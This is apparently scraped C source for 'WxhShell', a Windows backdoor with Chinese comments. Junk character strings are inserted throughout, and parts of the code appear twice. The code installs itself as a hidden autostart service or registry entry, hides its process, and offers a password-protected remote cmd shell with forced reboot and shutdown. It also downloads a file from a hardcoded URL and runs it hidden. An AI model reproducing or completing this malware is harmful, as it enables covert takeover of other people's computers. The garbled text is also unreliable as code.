(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .(RZ&*4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .0YcB a8$4 if (!NtQueryInformationProcess) return 0; NX4G;+6 c=,HLHpFO( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Al1_\vx7 if(!hProcess) return 0; ]ur?i{S, {p.^E5& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %nRgHN> 9>ajhFyOhX CloseHandle(hProcess); 8eVy*h2:= gky+.EP. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _h+7KK if(hProcess==NULL) return 0; [QFAkEJ--o h0R.c|g[ HMODULE hMod; <?nz>vz char procName[255]; kXV;J$1 unsigned long cbNeeded; +E^2]F7Zk vHZq
z< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H#i,Ve' C7O8B; CloseHandle(hProcess); S B~opN ~x7CI if(strstr(procName,"services")) return 1; // 以服务启动 ku4Gc6f#gG +e^CL#Gs return 0; // 注册表启动 E{0e5. { } Qr\eT} +BeA4d8b // 主模块 DIABR%0 int StartWxhshell(LPSTR lpCmdLine) &gJ1*"$9 { B(WmJ6e SOCKET wsl; Wv|CJN;4 BOOL val=TRUE; LC4VlfU int port=0; r?itd)WC<X struct sockaddr_in door; o}DRp4;Ka ClY`2 if(wscfg.ws_autoins) Install(); Iprt
ZqiL T+^Sa
J port=atoi(lpCmdLine); Nw9@E R | }L=e. if(port<=0) port=wscfg.ws_port; #.rkvoB0N kebk f,`p WSADATA data;
W[I$([ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eL>wKu:r p5jR;nOZ%l if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !E&l=*lM. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~/X8Hy!- door.sin_family = AF_INET; vf zC2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9N `WT= door.sin_port = htons(port); EnGh&] &\I<j\F2/ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m.rV1#AI closesocket(wsl); B`.aQ return 1; [(2^oTSRaq } fP:]s@$ mKjTJzS if(listen(wsl,2) == INVALID_SOCKET) { O&MH5^I closesocket(wsl); qdLzB return 1; /O<~n%< G } 9 Jw,ls Wxhshell(wsl); >yr;Y4y7K WSACleanup(); /lbj!\~ K\wu9z8M return 0; T;5VNRgpI *v%gNq } -.r"|\1X GMg!2CIU // 以NT服务方式启动 3$xpZm60 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~r?tFE*+ { KTt+}-vP^ DWORD status = 0; L@z[b^ DWORD specificError = 0xfffffff; i6P}MtC1 g4=C]\1 serviceStatus.dwServiceType = SERVICE_WIN32; YO-B|f serviceStatus.dwCurrentState = SERVICE_START_PENDING; e,{k!BXU#' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ysZ(*K
n(? serviceStatus.dwWin32ExitCode = 0; q_6lD~~q^ serviceStatus.dwServiceSpecificExitCode = 0; [ )
0JI6 serviceStatus.dwCheckPoint = 0; |||m5(`S serviceStatus.dwWaitHint = 0; VXiU5n^ _YG@P1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )Nqx=ms[(! if (hServiceStatusHandle==0) return; |{(JUXo6K GZWqPM4S\ status = GetLastError(); epKr6
xq if (status!=NO_ERROR) @sG*u >
{ t{yj`Vg serviceStatus.dwCurrentState = SERVICE_STOPPED; 0ETT@/)]z serviceStatus.dwCheckPoint = 0; z6 }p4 serviceStatus.dwWaitHint = 0; p7 !y# serviceStatus.dwWin32ExitCode = status; X $V_ serviceStatus.dwServiceSpecificExitCode = specificError; G62;p# SetServiceStatus(hServiceStatusHandle, &serviceStatus); >?OUs>}3y2 return; T u%XhXl:j } l?$X.CwX 6eUGE 4NF( serviceStatus.dwCurrentState = SERVICE_RUNNING; n Bd]rak' serviceStatus.dwCheckPoint = 0; w>\oz serviceStatus.dwWaitHint = 0; j94~cYV if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O'B3s y } +,,dsL xOPQ~J|z // 处理NT服务事件,比如:启动、停止 ;~DrsQb VOID WINAPI NTServiceHandler(DWORD fdwControl) GApvRR+Z { pY-!NoES switch(fdwControl) ~Er0$+q=Y; { n-SO201[* case SERVICE_CONTROL_STOP: BriL^] serviceStatus.dwWin32ExitCode = 0; rz,,ku4qt serviceStatus.dwCurrentState = SERVICE_STOPPED; 8\9W:D@"x serviceStatus.dwCheckPoint = 0; @GD $KR9 serviceStatus.dwWaitHint = 0; ?*$uj( { {ZSAPq4)L SetServiceStatus(hServiceStatusHandle, &serviceStatus); bDIhI}P } zRmVV}b return; H;NAS/OhS case SERVICE_CONTROL_PAUSE: ?]bx]Y; serviceStatus.dwCurrentState = SERVICE_PAUSED; ZbVn"he break; %
>a
/m.$ case SERVICE_CONTROL_CONTINUE: y`8U0TE3R serviceStatus.dwCurrentState = SERVICE_RUNNING; Ym"^Ds} break; I
L7kpH+y case SERVICE_CONTROL_INTERROGATE: Du
+_dr^4 break; QHja4/ }; WF*j^ %5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?$ov9U_ } Dq%}({+ )7!,_r // 标准应用程序主函数 %QrO Es int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^!C
{ x^c,cV+* c%O97J.5b // 获取操作系统版本 }"nm3\Df OsIsNt=GetOsVer(); !SE GetModuleFileName(NULL,ExeFile,MAX_PATH); `n-/~7 J"<
h#@` // 从命令行安装 FeS
,TQ4j if(strpbrk(lpCmdLine,"iI")) Install(); ^t71${w## 5#x[rr{^* // 下载执行文件 KztQT9kY if(wscfg.ws_downexe) { Sh5)36 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h5T~dGRlR WinExec(wscfg.ws_filenam,SW_HIDE); Yc?S< } j~S=kYrGM !-n*]C if(!OsIsNt) { : O@(Sv // 如果时win9x,隐藏进程并且设置为注册表启动 1c@S[y HideProc(); h4itXJy52B StartWxhshell(lpCmdLine); 8%?MRRK } 7)1%Z{Dy else ]b>XN8y. if(StartFromService()) g18zo~LZ // 以服务方式启动 !gV{[j?~zr StartServiceCtrlDispatcher(DispatchTable); :-U&_%#w else =bP<cC=3b // 普通方式启动 Y@q9 StartWxhshell(lpCmdLine); oiR9NB&< (pM&eow} return 0; ^fsC]9NS } op2Zf?Bx{+ -DJ,<f*$ z79oj\&[ As5l36 =========================================== OAFxf,b ltU{P|7!E P.Cn[64a+@ 6C"zBJcGc Y1>OhHuN RTbV!I " rx;;|eb, AqQ5L>:Gq #include <stdio.h> ^V9|uHOJoq #include <string.h> 4_CL1g #include <windows.h> =aQlT*n%3 #include <winsock2.h> DWx;cP8[ #include <winsvc.h> p:$v,3: #include <urlmon.h> 8"NPj0 {/N8[?zML #pragma comment (lib, "Ws2_32.lib") ge%QbU1J #pragma comment (lib, "urlmon.lib") 3?`TEw~' IY[qWs #define MAX_USER 100 // 最大客户端连接数 @*L-lx #define BUF_SOCK 200 // sock buffer i"Hc( lg #define KEY_BUFF 255 // 输入 buffer 3G 5xIr6
(RrC<5" #define REBOOT 0 // 重启 D+
.vg?8 #define SHUTDOWN 1 // 关机 5]CaWFSmT 1#;^Z3 #define DEF_PORT 5000 // 监听端口 =_3rc\0 Eb6cL`#N #define REG_LEN 16 // 注册表键长度 SYQP7oG9oQ #define SVC_LEN 80 // NT服务名长度 KRn[(yr`% yKK9b
// 从dll定义API wxBZ+UP_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xzfugW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XV4aR3n{Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }X=c|]6i^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #PPHxh*S *wX[zO+o // wxhshell配置信息 EBk-qd
a} struct WSCFG { y=+OC1k\8 int ws_port; // 监听端口 w8N1-D42 char ws_passstr[REG_LEN]; // 口令 Y`$\o int ws_autoins; // 安装标记, 1=yes 0=no 9mn~57`y char ws_regname[REG_LEN]; // 注册表键名 1 |)CQ char ws_svcname[REG_LEN]; // 服务名 %[~g84@ char ws_svcdisp[SVC_LEN]; // 服务显示名 -vc$I=b; char ws_svcdesc[SVC_LEN]; // 服务描述信息 =\oW{? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9C Ki$L int ws_downexe; // 下载执行标记, 1=yes 0=no ~@QAa (P. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "|Y y"iB[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .X)Wb{7 Ay^P#\VZ }; MT)q?NcG ,Csjb1 // default Wxhshell configuration P*%P"g struct WSCFG wscfg={DEF_PORT, <tsexsw "xuhuanlingzhe", i|,}y`C# 1, H"Hl~ ~U "Wxhshell", Tj!\SbnA[ "Wxhshell", 3fX_XH1Q "WxhShell Service", N7}3?wS "Wrsky Windows CmdShell Service", 7B5b
+ "Please Input Your Password: ", lx2%=5+i; 1, -bSM]86 "http://www.wrsky.com/wxhshell.exe", Pf?&ys6 "Wxhshell.exe" cH:&S=>h }; -`z%<)!Y agruS'c g // 消息定义模块 @;y@Hf'Jv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ybK char *msg_ws_prompt="\n\r? for help\n\r#>"; o
/1+
}f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TXV^f* char *msg_ws_ext="\n\rExit."; aMkuyqPf{ char *msg_ws_end="\n\rQuit."; \UM&|yk: char *msg_ws_boot="\n\rReboot..."; 8:*ZuR|~ char *msg_ws_poff="\n\rShutdown..."; 7)2Q char *msg_ws_down="\n\rSave to "; Rg46V-"d,@ (JjxrZ+L char *msg_ws_err="\n\rErr!"; 9`VY)"rJ char *msg_ws_ok="\n\rOK!"; :9x]5;ma i-p,x0th char ExeFile[MAX_PATH]; }y J,&N'p int nUser = 0; p0l.f`B HANDLE handles[MAX_USER]; VQ2'a/s int OsIsNt; M$>Nd6,@N aZa1 eE SERVICE_STATUS serviceStatus; $[Nf?`f(t_ SERVICE_STATUS_HANDLE hServiceStatusHandle; )"{}L.gC6 }vgM$o // 函数声明 s[/d}S@ > int Install(void); pzQc UG int Uninstall(void); E[zq<&P@ int DownloadFile(char *sURL, SOCKET wsh); saQo]6# int Boot(int flag); &t_TLV 8T void HideProc(void); aCIz(3^ int GetOsVer(void); dNqj | Vu int Wxhshell(SOCKET wsl); :ec>[N~KG void TalkWithClient(void *cs); <pKOFN%m int CmdShell(SOCKET sock); -'WR9M?fq int StartFromService(void); >XRf=
:3 int StartWxhshell(LPSTR lpCmdLine); n+< ,VUOsNN4\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \LQZoD?W VOID WINAPI NTServiceHandler( DWORD fdwControl ); %Q.M& U RF
-c`C // 数据结构和表定义 #SI]^T| SERVICE_TABLE_ENTRY DispatchTable[] = E&Lml?@ { HB*BL+S06 {wscfg.ws_svcname, NTServiceMain}, 'Ce?!UO {NULL, NULL} d$E>bo-\ }; 0a@tPskV
z.2UZ%: // 自我安装 $/(``8li_ int Install(void) [(TmAEON { I4UsDs*BD char svExeFile[MAX_PATH]; nG?Z* n HKEY key; ?
IlT[yMw strcpy(svExeFile,ExeFile); h. 4#C}> ) yiH;fK +x // 如果是win9x系统,修改注册表设为自启动 o"P )(; if(!OsIsNt) { K)Z~ iBRM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { At[SkG}b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9o P RegCloseKey(key); "qZTgCOY2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FLkZZ\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )?l7I* RegCloseKey(key); Qn-nO_JL return 0; loBW#> } QC]<`! } zJUT<%[U } $`vXI%|. else { m@L>6;* yw7bIcs|#b // 如果是NT以上系统,安装为系统服务 meThjCC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z
R~2Y?Wt9 if (schSCManager!=0) 1sJz`+\ { #KHj.Vg SC_HANDLE schService = CreateService B !rb*"[ ( VtU2& schSCManager, ^ AZv4H*~ wscfg.ws_svcname, P-yVc2YH wscfg.ws_svcdisp, C+t|fSJ SERVICE_ALL_ACCESS, Z3u6m0! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sE{5&aCSR SERVICE_AUTO_START, n3eWqwQ$5 SERVICE_ERROR_NORMAL, E\9HZ;}G svExeFile, od,,2pwK+ NULL, ! z5c+JqN NULL, J5Q.v; NULL, )S#?'gt* NULL, jSdC1,wR NULL @q@I(%_` ); <9$Pl%: if (schService!=0) +I*a=qjq { u'T>Y1I CloseServiceHandle(schService); BPOT!- CloseServiceHandle(schSCManager); ALInJ{X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vYo~36 strcat(svExeFile,wscfg.ws_svcname); 7<2^8` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F`Z?$ 1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,#0#1k<Dm RegCloseKey(key); (58r9WhS return 0; +OSSgY$ } 'cK{FiIT } jsKKg^g CloseServiceHandle(schSCManager); ?01ru5ys/o } +I:/8,&-x } #a]\3X \t&8J+% return 1; 91fZr } ?fc<3q" )WvOa] : // 自我卸载 QMDkkNK int Uninstall(void) *N6sxFs { P.^*K:5@ HKEY key; tpgD{BY^wJ b`;&o^7gMO if(!OsIsNt) { g]?>6 %#rA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,d^H Ag^j RegDeleteValue(key,wscfg.ws_regname); <<@F{B7h RegCloseKey(key); /7.//klN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +*eVi3 RegDeleteValue(key,wscfg.ws_regname); <0Gk:NB, RegCloseKey(key); - xyY6bxL return 0; nVP|{M } Udjn.D } jG#e%`' } ^ZBTd5t# else { /}eb1o %hz5) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E 429<LQI/ if (schSCManager!=0) 3_{rXtT)' { usi3z9P>n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %qVD-Jln if (schService!=0) p<FqK/ { {t]8#[lo if(DeleteService(schService)!=0) { &$~irI CloseServiceHandle(schService); 6"r _Y7% CloseServiceHandle(schSCManager); :/>Zky8,k return 0; {aU|BdATI } {817Svp@ CloseServiceHandle(schService); A9GSeW< } wRX#^;O9?> CloseServiceHandle(schSCManager); 'Awd:Aed5 } 4P7r\hs } <J}JYT =66'33l2 return 1; n6c+Okj } $KoGh_h }+)q/]% // 从指定url下载文件 e%=SgXl2t int DownloadFile(char *sURL, SOCKET wsh) |`AJP { =&: |a$C HRESULT hr; g6?5 char seps[]= "/"; N{a=CaYi+ char *token; WZviC_ char *file; $L'[_J char myURL[MAX_PATH]; F$YT4414 char myFILE[MAX_PATH]; #3FsK O6\c1ha strcpy(myURL,sURL); sP>-k7K. token=strtok(myURL,seps); v*OT[l7 while(token!=NULL) ))7CqN { rWN%j)#+ file=token; VwLo token=strtok(NULL,seps); )3 '8T>^<K } -O $!sFmY E$v!Z; A GetCurrentDirectory(MAX_PATH,myFILE); I 6L3M\+- strcat(myFILE, "\\"); iBY16_q strcat(myFILE, file); j:HIcCp send(wsh,myFILE,strlen(myFILE),0); ahN8IV=+Gm send(wsh,"...",3,0); ;2aPhA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); be(hY{y` if(hr==S_OK) "z*?#&?, return 0; 8 9maN else !&{"tL@. return 1; E>u U6#v VMu?mqEa } m mH
xPd K}Q:L(SSr\ // 系统电源模块 Fj`K$K? int Boot(int flag) {_Fh3gjb/ { Ia[<;":U HANDLE hToken; 4Q,|7@ TOKEN_PRIVILEGES tkp; 9LSV^[QUH xg'xuz$U if(OsIsNt) { 79+i4(H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DjvPeX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 59X XmVg tkp.PrivilegeCount = 1; Wo5%@C#M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H=mFc@fh AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0~Xt_rN]( if(flag==REBOOT) { l,UOP[j if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zNg[%{mz return 0; ~,x4cOdR# } ?kF?
~\c else { ]\/"-Y#4Q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3sl6$NKo return 0; 9&Z+K'$= } xiqeKoAD } Io{BO.K*Y else { s#Xfu\CP if(flag==REBOOT) { CF: ! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zlrbd return 0; DbYnd%k*4 } 5+qdn|9%T else { TQQh:y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0y2zjXM;3 return 0; I*n]8c } !Yz
CK*av1 } Rt@O@oD I ` ^;J<l return 1; #9{2aRCJ } b&RsxW7 9!ARr@ ; // win9x进程隐藏模块 )&%Y{a# void HideProc(void) hd`jf97* { k+hl6$:Qj% VeOM `jy HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wU"w if ( hKernel != NULL ) /bL L!nD=^ { BQ B<+o' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xi w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ny2bMj.o FreeLibrary(hKernel); U6YHq2< } \$gA2r wZ=@0al return; #oN}DP } e2L>"/ `$3ktQ $ // 获取操作系统版本 3r[s_Y* int GetOsVer(void) O,#,` 2Qc { 8EBd`kiq OSVERSIONINFO winfo; J'yCVb)V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0:c3aq&u GetVersionEx(&winfo); gLK0L%"5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s}bLA>~Ta return 1; >'jkL5l else QvJ29 return 0; xE!b) @>S } S WyJ` SH O&:2 // 客户端句柄模块 pwV~[+SS_ int Wxhshell(SOCKET wsl) DQ c pIV {
N1"bH~ SOCKET wsh; D$E#:[ struct sockaddr_in client; FU;a
{irB DWORD myID; "Jdi>{o8 o'8%5M@ while(nUser<MAX_USER) }rF4M1+B\ { bH!_0+$P int nSize=sizeof(client); ^oNcZK> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fl}!3k>c if(wsh==INVALID_SOCKET) return 1; i`?yi-R& \[%_ :9eq handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _joW%`T8 if(handles[nUser]==0) j]aIJbi closesocket(wsh); G3h"Eo?>g else p(9[*0.}; nUser++; XV,ce~ro[ } IYa(B+nB) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e*d lGK3l A+FQmLS return 0; U8@P/Z9 } p&D7&Sb[ 3sDyB-\& // 关闭 socket 9#kk5 )J void CloseIt(SOCKET wsh) O'QnfpQ*9 { 12: Q`
closesocket(wsh); XEN-V-Z%* nUser--; 9D;ono3 ExitThread(0); [w)KNl } O3pd5&^g .')^4\ // 客户端请求句柄 qac:"z'9 void TalkWithClient(void *cs) a>+m_]*JZ { ^s$U
n6v[ ==trl#kQ%% SOCKET wsh=(SOCKET)cs; Cu<' b'%; char pwd[SVC_LEN]; k L4 # char cmd[KEY_BUFF]; fJe5
i6`( char chr[1]; WcpH="vm int i,j; f"^t~q[VS 2X(2O':Uc while (nUser < MAX_USER) { f 0~Z@\ yN06` = if(wscfg.ws_passstr) { w7 \vrS>& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e)3Mg^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J?tnS6V //ZeroMemory(pwd,KEY_BUFF); 6="o&! i=0; \x5>H:\Y while(i<SVC_LEN) { ZT`"
{#L fd62m]X // 设置超时 "Nz"|-3Irv fd_set FdRead; 1`l(H4 struct timeval TimeOut; MYR\W*B'b FD_ZERO(&FdRead); x@:98P FD_SET(wsh,&FdRead); Ec }9R3 m TimeOut.tv_sec=8; qoW$Iw*q)B TimeOut.tv_usec=0; A;f)`i0l, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NGEE'4!i7T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n7zM;@{7 -^8OjGat if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = \K/ulZo pwd=chr[0]; |:u5R% if(chr[0]==0xd || chr[0]==0xa) { G=C2l#
Ae! pwd=0; R@`xS<`L/ break; % 3fpIzm } #G\-ftA & i++; Ki%)LQAg } D%=&euB ~bis!(}p- // 如果是非法用户,关闭 socket >4HB~9dKU if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cBHUa}: } j
J54<.D )0Vj\> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c)q=il7ef send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -x?|[ +% Z+4Mo*# while(1) { +?5Vuc% VP7LKfv ZeroMemory(cmd,KEY_BUFF); vY[u;VU %f(4jQ0I // 自动支持客户端 telnet标准 _ -,[U{ j=0; e$mVA}>Ybp while(j<KEY_BUFF) { ?Qts2kae# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W!TTfj cmd[j]=chr[0]; `}8)P# if(chr[0]==0xa || chr[0]==0xd) { L$ jii cmd[j]=0; `];ne]xM break; Ad-_=a% } `[ZA#8Ma j++; [G[{?{ } BL%&n*& TaKCN // 下载文件 "`'+@KlE if(strstr(cmd,"http://")) { .RS send(wsh,msg_ws_down,strlen(msg_ws_down),0); [T,Df& if(DownloadFile(cmd,wsh)) DYew6B- send(wsh,msg_ws_err,strlen(msg_ws_err),0); dLf
;g}W else 9yLPh/!Ob send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s,D GFK } ")fgQ3XZ else { ;zWiPnX} 2"o<>d switch(cmd[0]) { [u-=<hnoa j",*&sy // 帮助 1o)<23q`) case '?': { Ysi@wK-LnF send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P+3
]g{2w break; dp3TJZ+U } n9 Jev_!A // 安装 G)""^YB- case 'i': { l
5f'R if(Install()) U1kW1L}B send(wsh,msg_ws_err,strlen(msg_ws_err),0); nYj7r*e[ else q@4Cw&AI+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FE06,i\{ break; ~0vNs2D,S } &3*r-9BZ // 卸载 R!rMrWX case 'r': { TdoH((nY if(Uninstall()) paxZlA
o send(wsh,msg_ws_err,strlen(msg_ws_err),0); za8+=? else 0bGQO&s
[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C{6m?6 break; swhtlc@@ } CT|H1Ry2T // 显示 wxhshell 所在路径 UZgrSX { case 'p': { V{rQ@7SE char svExeFile[MAX_PATH]; kioIyV\= strcpy(svExeFile,"\n\r"); -BsZw.
7P strcat(svExeFile,ExeFile); Mv7tK
l send(wsh,svExeFile,strlen(svExeFile),0); ~"h V-3U break; `Cu9y+t } .;D' // 重启 fY|vq
amA; case 'b': { ~ \c
j send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pFwe&_u] if(Boot(REBOOT)) pf3- send(wsh,msg_ws_err,strlen(msg_ws_err),0); ww\2 else { c>C!vAg closesocket(wsh);
O@rZ^Aa ExitThread(0); \<b42\a} } dBW4%Zh break; 4_4|2L3 } g#5t8w // 关机 I;mc:@R< case 'd': { Ej`G( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?Y9VviC if(Boot(SHUTDOWN)) B^x}=Z4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fk?KR else { HA0yX?f] closesocket(wsh); U,aMv[Z B ExitThread(0); NV`7VYU } j9=)^? break; McvLU+ } iyMoLZ5 // 获取shell JOki4N case 's': { <Oj'0NK- CmdShell(wsh); ?j}
Fxr closesocket(wsh); qPCI@5n3T? ExitThread(0); az Oib=3fz break; 'EkjySZ]F{ } X|60W // 退出 L!2Ef4,wAz case 'x': { \(1WLP$2U send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cty CloseIt(wsh); Aac7km break; x2g=%K= } J
{\]ZPs // 离开 *0 ;| case 'q': { kwFo*1
{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); j,N,WtE closesocket(wsh); I4zm{ 1g WSACleanup(); QFEc?sEe exit(1); l{_1`rC' break; &|Vzo@D(! } }z2K"eGt } E^m2:J]G } (DTkK5/% IPnx5#eB
// 提示信息 Ly6) ,[q~ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M,P:<-J } hQDl&A } R"QWap} rVnolA*% return; <P
c;8[ } mmEe@-lE ~G~:R // shell模块句柄 0ac'<;9]zP int CmdShell(SOCKET sock) "=9)|{=m { @z(s\T STARTUPINFO si; m pM,&7} ZeroMemory(&si,sizeof(si));
NW?h~2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XN'<H(G si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fi#b0S PROCESS_INFORMATION ProcessInfo; 6x!
q char cmdline[]="cmd"; q.p.y0 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,j\UZ return 0; UC"_#!3 } {s[,CUL0 h/#s\>)T // 自身启动模式 IQ9Rvnna int StartFromService(void) ==~
lc; { K_BF=C.k typedef struct Uj~
:|?Wz { qg8T}y> DWORD ExitStatus; {+|Em (M DWORD PebBaseAddress; h)yAge DWORD AffinityMask; j}$Q`7-wB1 DWORD BasePriority; 4m/L5W:K ULONG UniqueProcessId; 'FGf#l< ULONG InheritedFromUniqueProcessId; `z`"0;,7S } PROCESS_BASIC_INFORMATION; ]WC@*3'kye </7?puVR PROCNTQSIP NtQueryInformationProcess; 0'^zIL#. V?Ye^-29 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K#'{Ko static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a(eUdGJ hjY)W; HANDLE hProcess;
=uIeur PROCESS_BASIC_INFORMATION pbi; Pb@9<N Xm' bA3pDt).p HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gA:N>w&<X if(NULL == hInst ) return 0; Twr<MXa ~,P." g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kyq/o- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n4Eqm33 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z8n]6FDiE 4w0Y(y if (!NtQueryInformationProcess) return 0; P/hIJV[ \BxE0GGky hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nn|~:9# if(!hProcess) return 0; %NfbgJcL_ swT/
tesj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C<\O;-nHH 0%<x>O CloseHandle(hProcess); %$I@7Es> i.*Utm`1"e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qUF}rlS=r if(hProcess==NULL) return 0; GOhGSV# NhA_dskvo HMODULE hMod; 3_+$x4% char procName[255]; [#6Eax,j unsigned long cbNeeded; ^H
